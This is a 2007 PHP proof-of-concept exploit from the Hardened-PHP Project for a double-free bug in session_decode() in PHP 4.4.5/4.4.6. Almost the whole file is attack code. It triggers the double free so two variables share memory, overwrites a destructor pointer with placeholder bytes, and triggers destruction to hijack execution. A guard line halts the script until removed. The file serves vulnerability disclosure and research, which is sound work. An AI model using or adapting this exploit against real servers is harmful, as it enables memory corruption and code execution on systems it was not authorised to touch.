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MOPB-sessiondecode.txt

Posted on 29 March 2007

<?php
////////////////////////////////////////////////////////////////////////
//  _  _                _                     _       ___  _  _  ___  //
// | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ | || || _  //
// | __ |/ _` || '_|/ _` |/ -_)| '  / -_)/ _` ||___||  _/| __ ||  _/ //
// |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
//                                                                    //
//         Proof of concept code from the Hardened-PHP Project        //
//                   (C) Copyright 2007 Stefan Esser                  //
//                                                                    //
////////////////////////////////////////////////////////////////////////
//     PHP 4.4.5/4.4.6 session_decode() Double Free Vulnerability     //
////////////////////////////////////////////////////////////////////////

// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");

ini_set("session.serialize_handler", "php");
session_start();

$varname = str_repeat("D", 39);
$$varname = &$_SESSION;

// Trigger the double free

session_decode($varname.'|i:0;');
$_________________x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJ";
$_________________a = array("OneElement");

// Now x and a point to the same memory. Therefore x can be used to modify a

// Overwrite pointer to the destructor
$_________________x[8*4+0] = chr(0x55);
$_________________x[8*4+1] = chr(0x66);
$_________________x[8*4+2] = chr(0x77);
$_________________x[8*4+3] = chr(0x88);

// Trigger the destruction
unset($_________________a);
?>

 

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